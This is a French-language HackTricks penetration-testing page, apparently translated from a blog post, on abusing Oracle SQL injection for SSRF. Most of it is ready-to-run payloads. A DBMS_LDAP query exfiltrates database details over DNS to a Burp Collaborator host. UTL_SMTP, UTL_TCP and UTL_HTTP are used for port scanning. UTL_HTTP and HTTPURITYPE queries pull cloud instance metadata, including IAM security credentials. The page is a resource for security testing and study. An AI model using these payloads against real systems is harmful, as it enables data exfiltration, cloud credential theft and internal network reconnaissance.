hacktricks/pentesting-web/sql-injection/oracle-injection.md
2023-06-03 13:10:46 +00:00

184 lines
12 KiB
Markdown

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
# SSRF
**Les informations ont été copiées depuis** [**https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle)
L'utilisation d'Oracle pour effectuer des requêtes HTTP et DNS hors bande est bien documentée, mais comme moyen d'exfiltrer des données SQL lors d'injections. Nous pouvons toujours modifier ces techniques/fonctions pour effectuer d'autres SSRF/XSPA.
L'installation d'Oracle peut être très douloureuse, surtout si vous voulez configurer une instance rapide pour essayer des commandes. Mon ami et collègue chez [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), m'a dirigé vers [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) qui m'a permis de configurer une instance sur une machine AWS Ubuntu t2.large et Docker.
J'ai exécuté la commande docker avec le drapeau `--network="host"` afin de pouvoir imiter Oracle en tant qu'installation native avec un accès réseau complet, pour le cours de ce blogpost.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
### Paquets Oracle qui prennent en charge une URL ou une spécification de nom d'hôte/numéro de port <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Afin de trouver des paquets et des fonctions qui prennent en charge une spécification de nom d'hôte et de port, j'ai effectué une recherche Google sur la [Documentation en ligne de la base de données Oracle](https://docs.oracle.com/database/121/index.html). Plus précisément,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
La recherche a renvoyé les résultats suivants (tous ne peuvent pas être utilisés pour effectuer des requêtes sortantes) :
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
* DBMS\_XDB
* DBMS\_SCHEDULER
* DBMS\_XDB\_CONFIG
* DBMS\_AQ
* UTL\_MAIL
* DBMS\_AQELM
* DBMS\_NETWORK\_ACL\_UTILITY
* DBMS\_MGD\_ID\_UTL
* UTL\_TCP
* DBMS\_MGWADM
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
Cette recherche sommaire omet évidemment des packages tels que `DBMS_LDAP` (qui permet de passer un nom d'hôte et un numéro de port) car [la page de documentation](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) vous renvoie simplement à un [emplacement différent](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Il peut donc y avoir d'autres packages Oracle qui peuvent être utilisés de manière abusive pour effectuer des requêtes sortantes que j'ai pu manquer.
En tout cas, examinons certains des packages que nous avons découverts et énumérés ci-dessus.
**DBMS\_LDAP.INIT**
Le package `DBMS_LDAP` permet d'accéder aux données des serveurs LDAP. La fonction `init()` initialise une session avec un serveur LDAP et prend un nom d'hôte et un numéro de port en argument.
Cette fonction a déjà été documentée pour montrer l'exfiltration de données via DNS, comme ci-dessous.
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
Cependant, étant donné que la fonction accepte un nom d'hôte et un numéro de port en tant qu'arguments, vous pouvez l'utiliser pour fonctionner comme un scanner de port également.
Voici quelques exemples :
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/18.png)
Une erreur `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indique que le port est fermé alors qu'une valeur de session indique que le port est ouvert.
**UTL\_SMTP**
Le package `UTL_SMTP` est conçu pour envoyer des e-mails via SMTP. L'exemple fourni sur le [site de documentation Oracle montre comment vous pouvez utiliser ce package pour envoyer un e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Pour nous, cependant, l'intérêt réside dans la capacité à fournir une spécification d'hôte et de port.
Un exemple rudimentaire est présenté ci-dessous avec la fonction `UTL_SMTP.OPEN_CONNECTION`, avec un délai d'attente de 2 secondes.
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/19.png)
Un `ORA-29276: transfer timeout` indique que le port est ouvert mais qu'aucune connexion SMTP n'a été établie, tandis qu'un `ORA-29278: SMTP transient error: 421 Service not available` indique que le port est fermé.
**UTL\_TCP**
Le package `UTL_TCP` et ses procédures et fonctions permettent une communication basée sur TCP/IP avec des services. S'il est programmé pour un service spécifique, ce package peut facilement devenir un moyen d'accéder au réseau ou d'effectuer des requêtes côté serveur, car tous les aspects d'une connexion TCP/IP peuvent être contrôlés.
L'exemple sur le site de documentation Oracle montre comment vous pouvez utiliser ce package pour établir une connexion TCP brute pour récupérer une page web. Nous pouvons le simplifier un peu plus et l'utiliser pour effectuer des requêtes sur l'instance de métadonnées, par exemple, ou sur un service TCP/IP arbitraire.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/20.png)
Il s'agit d'une capture d'écran montrant une injection SQL dans une application web.
```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/21.png)
Il est intéressant de noter que, grâce à la capacité de créer des requêtes TCP brutes, ce package peut également être utilisé pour interroger le service de métadonnées d'instance de tous les fournisseurs de cloud, car le type de méthode et les en-têtes supplémentaires peuvent tous être transmis dans la requête TCP.
**UTL\_HTTP et les requêtes Web**
Peut-être la technique la plus courante et la plus largement documentée dans tous les tutoriels Oracle SQL Injection hors bande est le package [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Ce package est défini par la documentation comme suit - `Le package UTL_HTTP effectue des appels Hypertext Transfer Protocol (HTTP) à partir de SQL et PL/SQL. Vous pouvez l'utiliser pour accéder à des données sur Internet via HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/16.png)
Vous pouvez également utiliser ceci pour effectuer une analyse de port rudimentaire avec des requêtes telles que
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
Un `ORA-12541: TNS:no listener` ou un `TNS:operation timed out` est un signe que le port TCP est fermé, tandis qu'un `ORA-29263: HTTP protocol error` ou des données sont un signe que le port est ouvert.
Un autre package que j'ai utilisé dans le passé avec un succès variable est la méthode [`GETCLOB()` du type abstrait Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) qui vous permet d'interagir avec une URL et fournit une prise en charge du protocole HTTP. La méthode `GETCLOB()` est utilisée pour récupérer la réponse GET d'une URL en tant que [type de données CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/22.png)](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>